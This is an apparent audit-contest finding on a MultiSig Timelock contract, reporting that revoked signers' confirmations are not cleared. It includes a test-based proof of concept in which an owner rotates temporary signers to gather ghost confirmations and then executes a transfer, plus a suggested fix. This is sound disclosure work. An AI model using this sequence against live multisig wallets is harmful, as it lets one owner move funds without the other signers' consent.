MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Revoked signer's confirmations are not cleared, allowing quorum bypass via signer rotation

yallthedev

Revoked signer's confirmations are not cleared, allowing quorum bypass via signer rotation

Description

When a signer is revoked via revokeSigningRole(), their existing confirmations on pending transactions are NOT cleared. This allows a malicious owner to bypass the 3-of-5 quorum requirement by rotating the 5th signer slot: grant role → have temp signer confirm → revoke role → repeat.

After 3 rotations, the transaction has 3 confirmations from addresses that are no longer signers, while 4 legitimate permanent signers never confirmed.

function revokeSigningRole(address signer) public onlyOwner {
// ... validation ...
_revokeRole(SIGNING_ROLE, signer);
// ... update s_signers[], s_isSigner[], s_signerCount ...
@> // BUG: Does NOT clear signer's confirmations on pending transactions
@> // s_signatures[txnId][signer] still true
@> // s_transactions[txnId].confirmations NOT decremented
}

Risk

Likelihood: High

  • Txn confirmations are never decreased when revoke a signer.

Impact: High

  • Complete bypass of multi-signature quorum mechanism

  • Transactions can execute with 0 confirmations from current legitimate signers

  • Defeats the entire purpose of multi-sig security

Proof of Concept

Explanation: Owner proposes a transaction that 4 permanent signers disagree with. Owner then rotates the 5th signer slot 3 times: each temp signer confirms, then gets revoked. The transaction accumulates 3 "ghost" confirmations and becomes executable despite all 4 current signers never confirming.

function test_RevokedSignerConfirmationsNotCleared() public {
// Setup: 4 permanent signers who will NOT confirm
multiSigTimelock.grantSigningRole(SIGNER_TWO);
multiSigTimelock.grantSigningRole(SIGNER_THREE);
multiSigTimelock.grantSigningRole(SIGNER_FOUR);
​
// Propose a transaction
address recipient = makeAddr("recipient");
uint256 txId = multiSigTimelock.proposeTransaction(recipient, 0.5 ether, "");
​
// Round 1: Add temp signer, confirm, revoke
address tempSigner1 = makeAddr("temp1");
multiSigTimelock.grantSigningRole(tempSigner1);
vm.prank(tempSigner1);
multiSigTimelock.confirmTransaction(txId);
multiSigTimelock.revokeSigningRole(tempSigner1);
​
// Round 2: Add another temp signer, confirm, revoke
address tempSigner2 = makeAddr("temp2");
multiSigTimelock.grantSigningRole(tempSigner2);
vm.prank(tempSigner2);
multiSigTimelock.confirmTransaction(txId);
multiSigTimelock.revokeSigningRole(tempSigner2);
​
// Round 3: Add third temp signer, confirm, revoke
address tempSigner3 = makeAddr("temp3");
multiSigTimelock.grantSigningRole(tempSigner3);
vm.prank(tempSigner3);
multiSigTimelock.confirmTransaction(txId);
multiSigTimelock.revokeSigningRole(tempSigner3);
​
// BUG: 3 confirmations from NON-signers!
MultiSigTimelock.Transaction memory txn = multiSigTimelock.getTransaction(txId);
assertEq(txn.confirmations, 3);
​
// The 4 permanent signers NEVER confirmed, yet txn can execute
multiSigTimelock.grantSigningRole(SIGNER_FIVE);
uint256 balanceBefore = recipient.balance;
vm.prank(SIGNER_FIVE);
multiSigTimelock.executeTransaction(txId);
​
// Transaction executed despite 4 current signers disagreeing!
assertEq(recipient.balance, balanceBefore + 0.5 ether);
}

Expected: Revoked signer's confirmations should be invalidated; quorum requires 3 current signers.
Actual: Ghost confirmations persist, allowing execution with 0 actual signer approvals.

Recommended Mitigation

Explanation: When a signer is revoked, iterate through all pending transactions and clear their confirmations. Alternatively, at execution time, verify that each confirmation belongs to a current signer.

function revokeSigningRole(address signer) public onlyOwner {
// ... existing validation ...
+ // Clear revoked signer's confirmations on all pending transactions
+ for (uint256 i = 0; i < s_txnCount; i++) {
+ if (s_signatures[i][signer] && !s_transactions[i].executed) {
+ s_signatures[i][signer] = false;
+ s_transactions[i].confirmations -= 1;
+ }
+ }
_revokeRole(SIGNING_ROLE, signer);
// ... rest of function ...
}
Updates

Lead Judging Commences

kelechikizito Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Stale Confirmation Vulnerability/Ghost Voting Issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!